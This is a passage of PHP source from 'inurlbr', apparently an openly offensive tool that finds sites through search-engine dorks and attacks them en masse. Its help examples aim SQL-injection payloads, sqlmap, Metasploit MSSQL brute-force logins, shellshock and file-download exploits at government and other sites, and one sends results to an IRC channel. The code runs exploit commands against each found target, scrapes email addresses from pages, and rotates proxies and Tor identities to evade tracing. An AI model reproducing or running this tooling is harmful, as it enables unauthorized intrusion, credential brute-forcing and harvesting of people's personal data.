{$_SESSION["c1"]}-a {$_SESSION["c2"]}'secreto'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:aspx (id|new)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\"{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'.new.php?new id' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6,7,2,3 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}'+UNION+ALL+SELECT+1,concat(0x3A3A4558504C4F49542D5355434553533A3A,@@version),3,4,5;' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'::EXPLOIT-SUCESS::'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'new.php?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}teste.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}?´0x27 {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]}'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:pt inurl:aspx (id|q)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}bruteforce.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}?´0x27 {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'msfcli auxiliary/scanner/mssql/mssql_login RHOST={$_SESSION["c9"]}_TARGETIP_ {$_SESSION["c2"]}MSSQL_USER=inurlbr MSSQL_PASS_FILE=/home/pedr0/Documentos/passwords E'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:id & inurl:php' {$_SESSION["c1"]}-s {$_SESSION["c2"]}get.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'python ../sqlmap/sqlmap.py -u \"{$_SESSION["c14"]}_TARGETFULL_{$_SESSION["c2"]}\" --dbs'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:index.php?id=' {$_SESSION["c1"]}-q 1,2,10 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"'?´0x27'\" {$_SESSION["c1"]}-s {$_SESSION["c2"]}report.txt {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap -Pn -p 1-8080 --script http-enum --open {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]}'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email' {$_SESSION["c1"]}-s {$_SESSION["c2"]}reg.txt -q 1 --regexp '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}emails.txt {$_SESSION["c1"]}-m{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}urls.txt {$_SESSION["c1"]}-u{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:gov.bo' {$_SESSION["c1"]}-s {$_SESSION["c2"]}govs.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.uk' {$_SESSION["c1"]}-s {$_SESSION["c2"]}uk.txt {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]} 'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)' {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksSqli.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}govs.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksSqli.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}sqli.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c1"]}--irc {$_SESSION["c2"]}'irc.rizon.net#inurlbrasil' {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:\"cgi-bin/login.cgi\"' {$_SESSION["c1"]}-s {$_SESSION["c2"]}cgi.txt --ifurl 'cgi' --command-all 'php xplCGI.php _TARGET_' {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\"{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?pass=1234\" {$_SESSION["c1"]}-a {$_SESSION["c2"]}'hello! admin'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find_valid_cod-200.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}5{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--range {$_SESSION["c2"]}'200.20.10.1,200.20.10.255' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php roteador.php _TARGETIP_' {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--range-rad {$_SESSION["c2"]}'1500' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php roteador.php _TARGETIP_' {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork-rad {$_SESSION["c2"]}'20' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\" {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork-rad {$_SESSION["c2"]}'20' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\" {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c0"]} --pr + +./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksCGI.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c0"]} --pr --shellshock + +./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorks_Wordpress_revslider.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}'xpls_Arbitrary_File_Download.txt' {$_SESSION["c0"]} + {$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + {$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}It it also useful to know the full path to the PHP binary on your computer. {$_SESSION["c0"]} + {$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}There are several ways of finding out. For Ubuntu and Mac OS X the path is '/usr/bin/php'.{$_SESSION["c0"]} + + googleinurl@inurlbr:~$ which php + /usr/bin/php + googleinurl@inurlbr:~/cli$ whereis php + php: /usr/bin/php /usr/share/php /usr/share/man/man1/php.1.gz + googleinurl@inurlbr:~/cli$ type -a php + php is /usr/bin/php + +{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + +"); +} + +################################################################################ +#BANNER HOME#################################################################### + +function __bannerLogo() { + + $vis = ($_SESSION["os"] != 1) ? ("\033[1;3" . rand(1, 10) . "m") : NULL; + + return (!is_null($_SESSION['config']['no-banner']) ? NULL : system("command clear") . " +{$vis} _____ {$_SESSION["c1"]} .701F. .iBR. .7CL. .70BR. .7BR. .7BR'''Cq. .70BR. {$_SESSION["c12"]}.1BR'''Yp, .8BR'''Cq. +{$vis} (_____){$_SESSION["c1"]} 01 01N. C 01 C 01 .01. 01 {$_SESSION["c3"]} 01 Yb 01 .01. +{$vis} (() ()){$_SESSION["c1"]} 01 C YCb C 01 C 01 ,C9 01 {$_SESSION["c12"]} 01 dP 01 ,C9 +{$vis} \ / {$_SESSION["c1"]} 01 C .CN. C 01 C 0101dC9 01 {$_SESSION["c3"]} 01'''bg. 0101dC9 +{$vis} \ / {$_SESSION["c1"]} 01 C .01.C 01 C 01 YC. 01 , {$_SESSION["c12"]} 01 .Y 01 YC. +{$vis} /=\ {$_SESSION["c1"]} 01 C Y01 YC. ,C 01 .Cb. 01 ,C {$_SESSION["c3"]} 01 ,9 01 .Cb. +{$vis} [___] {$_SESSION["c1"]} .J01L. .JCL. YC .b0101d'. .J01L. .J01. .J01010101C {$_SESSION["c12"]}.J0101Cd9 .J01L. .J01./ {$_SESSION["c1"]}2.1\n +{$_SESSION["c1"]}__[ ! ] Neither war between hackers, nor peace for the system. +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://blog.inurl.com.br +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://fb.com/InurlBrasil +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://twitter.com/@googleinurl{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://github.com/googleinurl{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current PHP version::[ {$_SESSION["c1"]}" . phpversion() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current script owner::[ {$_SESSION["c1"]}" . get_current_user() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current uname::[ {$_SESSION["c1"]}" . php_uname() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current pwd::[ {$_SESSION["c1"]}" . getcwd() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c2"]}Help: php inurlbr.php --help{$_SESSION["c0"]} +{$_SESSION["c1"]}------------------------------------------------------------------------------------------------------------------------{$_SESSION["c0"]} +"); +} + +################################################################################ +#CHANGE PROXY FUNCTION IN TIME################################################## +################################################################################ + +function __timeValueChangeProxy($sec = NULL) { + + return not_isnull_empty($sec) ? date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . " + {$sec} second")) : NULL; +} + +function __timeSecChangeProxy($list_proxy) { + + if ($_SESSION["config"]["time_change_proxy"] < date('Y-m-d H:i:s') && !is_null($list_proxy)) { + $proxy = $list_proxy[rand(0, count($list_proxy) - 1)]; + echo ("[ INFO ][PROXY] CHANGE: {$proxy} - " . date('Y-m-d H:i:s') . "\n"); + $_SESSION["config"]["proxy"] = $proxy; + $_SESSION["config"]["time_change_proxy"] = __timeValueChangeProxy($_SESSION["config"]["time-proxy"]); + __plus(); + } +} + +################################################################################ +#GET STATUS HTTP URL############################################################ +################################################################################ + +function __getStatusURL($url) { + + if (!is_null($url) && !empty($url)) { + return FALSE; + } + __plus(); + $status = array(); + $curl = curl_init($url); + curl_setopt($curl, CURLOPT_URL, $url); + $resultadoCurl = curl_exec($curl); + if ($resultadoCurl) { + preg_match_all('(HTTP.*)', $resultadoCurl, $status['http']) . __plus(); + + return (!is_null($status['http']) && !empty($status['http'])) ? TRUE : FALSE; + } + unset($curl); + return FALSE; +} + +################################################################################ +#BEEP ########################################################################## +################################################################################ + +function __cli_beep() { + + echo ($_SESSION['config']['beep']) ? "\x07" : NULL; +} + +################################################################################ +#SETUP TO RUN COMMANDS IN ID#################################################### +################################################################################ + +function __configExploitsExec($id, $alvo) { + + $resultadoURL = __configExploitsList(); + $final = array(); + $id_ = ((strstr($id, ','))) ? explode(',', $id) : array($id); // MULTIPLAS ID'S EXPLOITS + + foreach ($resultadoURL as $key) { + $__key = strstr($key, '::') ? explode("\n", $key) : NULL; + $final = is_array($__key) ? array_merge($final, $__key) : $final; + } + foreach ($id_ as $value) { + $final__ = isset($value) && !empty($value) ? explode('::', $final[$value]) : NULL; + $barra = "{$_SESSION["c1"]}[ INFO ]|___{$_SESSION["c0"]}\n"; + $barra.= " {$_SESSION["c1"]}|"; + print !is_null($final__) ? "\n{$barra}[ EXPLOIT ]:: {$final__[0]} /[ ID ]:: {$value} /[ COMMAND ]:: " . $final__[1] : NULL; + echo "\n ------------------------------------------------------------------------------------------------------------------"; + print !is_null($final__) ? __command($final__[1], $alvo) : NULL; + __plus(); + } +} + +################################################################################ +#LIST COMMANDS FILE exploits.conf############################################### +################################################################################ + +function __configExploitsList($op = NULL) { + + $resultadoURL = array_unique(array_filter(explode("\n", file_get_contents($_SESSION['config']['file_exploit_conf'])))); + + if (!is_null($op)) { + echo __bannerlogo(); + echo $_SESSION["c11"]; + echo "[*]__\n"; + echo " |MENU EXPLOITS:"; + echo "\n |ID TYPE_EXPLOIT::EXPLOIT_COMMAND"; + echo "\n |FILE CONFIG: {$_SESSION['config']['file_exploit_conf']}"; + echo "\n |USE COMMAND EX: --exploit-id '1,2,3,19'"; + echo "\n-----------------------------------------------------------------------------------------------------------------------\n"; + print_r($resultadoURL); + __getOut("{$_SESSION['config']['line']}\n"); + } else { + return is_array($resultadoURL) ? $resultadoURL : NULL; + } +} + +################################################################################ +#INSERT VALUES COMMANDS FILE exploits.conf###################################### +################################################################################ + +function __configExploitsADD($valor = NULL) { + + if (!is_null($valor) && preg_match("(([a-zA-Z0-9-].*)(::.*)([a-zA-Z0-9-]))", $valor)) { + echo __bannerlogo(); + echo $_SESSION["c11"]; + echo "[*]__\n"; + echo " |MENU EXPLOITS:"; + echo "\n |ID TYPE_EXPLOIT::EXPLOIT_COMMAND"; + echo "\n |STATUS: ADDED VALUE WITH SUCCESS!"; + echo "\n |VALUE: {$valor}"; + echo "\n-----------------------------------------------------------------------------------------------------------------------\n"; + __saveValue($_SESSION['config']['file_exploit_conf'], __crypt($valor), 2); + print_r(__configExploitsList()); + __getOut("{$_SESSION['config']['line']}\n"); + } else { + + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}INCORRECT FORMAT! / Format TYPE_EXPLOIT::EXPLOIT_COMMAND / ex: NMAP::nmap -sV _TARGET_\n"); + } +} + +################################################################################ +#CHECK CMS###################################################################### +################################################################################ + +function __SimpleCheckCMS($html) { + + $cms['XOOPS CMS IDENTIFIED'] = ' $valor) { + + __plus(); + if (strstr($html, $cms[$campo])) { + return(" {$campo} "); + } + } + return "0xUNIDENTIFIED"; +} + +################################################################################ +#REPLACE THE SECURITIES URL##################################################### +################################################################################ + +function __replace($exploit, $url) { + + $exploit_ = strstr($_SESSION['config']['replace'], '[INURL]') ? + $exploit : + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n"); + $exploit = explode("[INURL]", $exploit_); + $exploit[0] = (isset($exploit[0]) && !is_null($exploit[0])) ? + $exploit[0] : + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n"); + $exploit[1] = (isset($exploit[0]) && !is_null($exploit[1])) ? + $exploit[1] : + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n"); + return str_replace($exploit[0], $exploit[1], $url); +} + +################################################################################ +#REMOVE VALUE URL############################################################### +################################################################################ + +function __remove($value, $url) { + + return str_replace($value, NULL, $url); +} + +################################################################################ +#VALID MENU OPTIONS############################################################# +################################################################################ + +function __validateOptions($opArray, $validar, $op = NULL) { + + if (empty($validar) || empty($opArray)) { + return FALSE; + } + + $array = explode(',', $opArray); + if (is_null($op)) { + $busca = explode(',', $validar); + for ($i = 0; $i <= count($busca); $i++) { + if (in_array($busca[$i], $array)) { + return TRUE; + } + } + } else { + for ($i = 0; $i <= count($array); $i++) { + if (strstr($validar, $array[$i])) { + return TRUE; + } + } + } + return FALSE; +} + +################################################################################ +#VALIDATE OPERATING SYSTEM AND COLOR SYSTEM##################################### +################################################################################ + +function __OS() { + + $sistema = strtoupper(PHP_OS); + if (substr($sistema, 0, 3) == "WIN") { + $i = 0; + system("cls"); + $_SESSION["os"] = 1; + while ($i <= 17) { + $_SESSION["c{$i}"] = NULL; + $i++; + } + } else { + system("command clear"); + //DEFINING COLORS + $_SESSION["c0"] = "\033[0m"; // END OF COLOR + $_SESSION["c1"] = "\033[1;37m"; // WHITE + $_SESSION["c2"] = "\033[1;33m"; // YELLOW + $_SESSION["c3"] = "\033[1;31m"; // RED LIGHT + $_SESSION["c4"] = "\033[32m"; // GREEN + $_SESSION["c5"] = "\033[1;32m"; // GREEN LIGHT + $_SESSION["c6"] = "\033[0;35m"; // PURPLE + $_SESSION["c7"] = "\033[1;30m"; // DARK GREY + $_SESSION["c8"] = "\033[0;34m"; // BLUE + $_SESSION["c9"] = "\033[0;37m"; // LIGHT GREY + $_SESSION["c10"] = "\033[0;33m"; // BROWN + $_SESSION["c11"] = "\033[1;35m"; // LIGHT PURPLE + $_SESSION["c12"] = "\033[0;31m"; // RED + $_SESSION["c13"] = "\033[1;36m"; // LIGHT CYAN + $_SESSION["c14"] = "\033[0;36m"; // CIANO + $_SESSION["c15"] = "\033[1;34m"; // LIGHT BLUE + $_SESSION["c16"] = "\033[02;31m"; // DARK RED + } +} + +################################################################################ +#SAVE URL VULNERABLE COMMAND ECHO >> FILE###################################### +################################################################################ + +function __saveValue($arquivo, $valor, $op = NULL) { + + $path = !not_isnull_empty($_SESSION['config']['save-as']) ? $_SESSION['config']['out_put_paste'] : NULL; + echo ($op == 1) ? + "\n{$_SESSION["c1"]}|_[ + ]{$_SESSION["c7"]} VALUE SAVED IN THE FILE::{$_SESSION["c9"]} {$arquivo}{$_SESSION["c0"]}" : NULL; + file_put_contents(($op == 2) ? $arquivo : $path . $arquivo, "{$valor}\n", FILE_APPEND); +} + +################################################################################ +#CAPTURE ID KEY TO SEARCH LYCOS MAKE############################################ +################################################################################ + +function __getIdSearchLycos($html) { + + $match = NULL; + preg_match_all("(val.*)", $html, $match); + return (str_replace(');', '', str_replace('val(', '', str_replace("'", '', $match[0][4])))); +} + +################################################################################ +#RENEW IP NETWORK TOR########################################################### +################################################################################ + +function __renewTOR() { + + system("[ -z 'pidof tor' ] || pidof tor | xargs sudo kill -HUP;"); + $request__ = __request_info('http://dynupdate.no-ip.com/ip.php', $_SESSION["config"]["proxy"]); + __plus(); + echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ IP NETWORK TOR RENEWED ]::: {$_SESSION["c1"]}[ {$request__['corpo'] } ]\n{$_SESSION["c0"]}"; + /* https://pt.wikipedia.org/wiki/Pidof + * pidof é um utilitário Linux que encontra o ID de um programa em execução. + * Note que o próprio nome é a junção dos termos pid, que significa identidade + * de um processo e of que significa de. Portanto pidof quer dizer identidade + * de processo de... + * O equivalente no Solaris é pgrep. pidof firefox-bin O commando acima retorna + * o pid do processo que está executando firefox-bin. + * Pode-se combinar o commando 'pidof' com o commando kill dessa forma: + * kill -9 $(pidof firefox-bin) pidof é simplesmente uma ligação simbólica + * para o programa killall5,que está localizado em /sbin. + */ +} + +################################################################################ +#This function will validate emails############################################# +################################################################################ + +function __validateEmail($email) { + + $conta = "^[a-zA-Z0-9\._-]+@"; + $domino = "[a-zA-Z0-9\._-]+."; + $extensao = "([a-zA-Z]{2,4})$"; + + $pattern = $conta . $domino . $extensao; + + return (ereg($pattern, $email)) ? TRUE : FALSE; +} + +################################################################################ +#This function will validate URLS############################################### +################################################################################ + +function __validateURL($url) { + + if (preg_match("#\b(http[s]?://|ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si", $url)) { + return TRUE; + } else { + return FALSE; + } +} + +################################################################################ +#This function will filter custom values######################################## +################################################################################ + +function __extractRegCustom($html, $url_) { + + $matches = NULL; + __plus(); + preg_match_all("#\b{$_SESSION['config']['regexp-filter']}#i", $html, $matches); + + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]} |_[ URL ] {$_SESSION["c0"]}=>{$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n"; + + $matches_ = array_filter(array_unique(array_unique($matches[0]))); + foreach ($matches_ as $valor) { + + if (not_isnull_empty($valor)) { + + echo "{$_SESSION["c1"]}__[ + ] {$_SESSION["c0"]}[\033[01;31m {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]- {$valor}\n"; + $_SESSION["config"]["resultado_valores"].="{$valor}\n"; + __plus(); + __saveValue($_SESSION["config"]["arquivo_output"], $valor); + $_SESSION['config']['cont_valores'] ++; + } + __plus(); + } + __timeSec('delay', "\n"); +} + +################################################################################ +#This function will filter and mail each url#################################### +################################################################################ + +function __filterEmailif($resultados) { + + if (is_array($resultados)) { + echo "{$_SESSION["c1"]}|_[ ! ][ INFO ]{$_SESSION["c16"]}[ FILTERING VALUE ]::{$_SESSION["c1"]}[ {$_SESSION["config"]['ifemail']} ]{$_SESSION["c0"]}\n"; + foreach ($resultados as $value) { + + $temp[] = (strstr($value, $_SESSION['config']['ifemail']) ? $value : NULL); + } + + return array_unique(array_filter($temp)); + } + + RETURN FALSE; +} + +################################################################################ +#This function extract emails################################################### +################################################################################ + +function __extractEmail($html, $url_) { + + $matches = NULL; + __plus(); + preg_match_all('/([\w\d\.\-\_]+)@([\w\d\.\_\-]+)/mi', $html, $matches); + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]}|_[ ! ][ INFO ][URL] :: {$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n"; + + $_matches = array_filter(array_unique(array_unique($matches[0]))); + $matches_ = (not_isnull_empty($_SESSION['config']['ifemail']) ? __filterEmailif($_matches) : $_matches); + + foreach ($matches_ as $valor) { + + if (__validateEmail($valor)) { + + echo "{$_SESSION["c1"]}|_[ + ]{$_SESSION["c0"]}[\033[01;31m {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]- {$valor} " + . (filter_var($valor, FILTER_VALIDATE_EMAIL) ? + "{$_SESSION["c14"]}[ OK ]{$_SESSION["c0"]}" : "{$_SESSION["c16"]}[ NO ]{$_SESSION["c0"]}") . "\n"; + (filter_var($valor, FILTER_VALIDATE_EMAIL) ? $_SESSION["config"]["resultado_valores"].="{$valor}\n" : NULL); + __plus(); + (filter_var($valor, FILTER_VALIDATE_EMAIL) ? __saveValue($_SESSION["config"]["arquivo_output"], $valor) : NULL); + + $_SESSION['config']['cont_valores'] ++; + } + __plus(); + } + __timeSec('delay', "\n"); +} + +################################################################################ +#This function will filter urls each url######################################## +################################################################################ + +function __extractURLs($html, $url_) { + + $matches = NULL; + __plus(); + $reg_tag = 'href=\"|src=\"|value=\"'; + $reg = "#\b({$reg_tag}http[s]?://|{$reg_tag}ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si"; + preg_match_all($reg, $html, $matches); + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]} |_[ INFO ][URL] {$_SESSION["c0"]}=>{$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; + $matches_ = array_unique(array_filter($matches[0])); + $blacklist = $_SESSION["config"]['blacklist']; + $blacklist_ = (isset($_SESSION["config"]["webcache"])) ? str_replace('webcache.,', '', $blacklist) : $blacklist; + + foreach ($matches_ as $valor) { + + $valor = __filterURLTAG($valor); + if (__validateURL($valor) && !__validateOptions($blacklist_, $valor, 1)) { + echo "{$_SESSION["c1"]}__[ + ]{$_SESSION["c0"]}[\033[01;31m {$_SESSION["config"]['cont_url']}" + . " {$_SESSION["c9"]}]- {$valor}{$_SESSION["c0"]}\n"; + $_SESSION["config"]["resultado_valores"].="{$valor}\n"; + __plus(); + __saveValue($_SESSION["config"]["arquivo_output"], $valor) . __plus(); + $_SESSION["config"]["cont_url"] ++; + } + __plus(); + } + __timeSec('delay', "\n"); +} + +################################################################################ +#This function removes the last regular expression ta########################### +################################################################################ + +function __filterURLTAG($valor = NULL) { + + return(!is_null($valor)) ? str_replace('"', '', str_replace('href="', '', str_replace('src="', '', str_replace('value="', '', $valor)))) : NULL; +} + +################################################################################ +#Esta função irá formatar salvar urls concatenadas############################## +################################################################################ + +function __checkURLs($resultado, $url_) { + + __plus(); + $code = !is_null($_SESSION["config"]["ifcode"]) ? $_SESSION["config"]["ifcode"] : 200; + $valor = ($resultado['server']['http_code'] == $code) ? "{$_SESSION["c4"]}" : NULL; + + echo "\n{$_SESSION["c1"]} |_[ INFO ]{$_SESSION["c0"]}[{$_SESSION["c1"]} {$_SESSION['config']['cont_valores']} {$_SESSION["c0"]}]\n"; + echo "{$_SESSION["c1"]} |_[ INFO ][URL] {$_SESSION["c0"]}::{$_SESSION["c9"]}{$valor} {$url_} {$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]} |_[ INFO ][STATUS]::{$valor} {$resultado['server']['http_code']} {$_SESSION["c0"]}\n"; + + __timeSec('delay'); + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}"; + __plus(); + + $target_ = array('url_clean' => $url_, 'url_xpl' => $url_); + + if ($resultado == $code) { + + $_SESSION['config']['resultado_valores'].= "{$url_}\n"; + __saveValue($_SESSION["config"]["arquivo_output"], $url_) . __plus(); + __plus(); + + (not_isnull_empty($_SESSION['config']['sub-file']) && + is_array($_SESSION['config']['sub-file']) ? __subExecExploits($target_['url_xpl'], $_SESSION['config']['sub-file']) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['command-vul']) ? __command($_SESSION['config']['command-vul'], $target_) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['exploit-vul-id']) ? + __configExploitsExec($_SESSION['config']['exploit-vul-id'], $target_) : NULL); + __plus(); + } + + (not_isnull_empty($_SESSION['config']['exploit-all-id']) ? __configExploitsExec($_SESSION['config']['exploit-all-id'], $target_) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['command-all']) ? __command($_SESSION['config']['command-all'], $target_) : NULL); + __plus(); + + $_SESSION['config']['cont_valores'] ++; + + __plus(); +} + +################################################################################ +#This function will send the contents of the output buffer (if any)############# +################################################################################ + +function __plus() { + + ob_flush(); + flush(); +} + +################################################################################ +#FORMATTING POST################################################################ 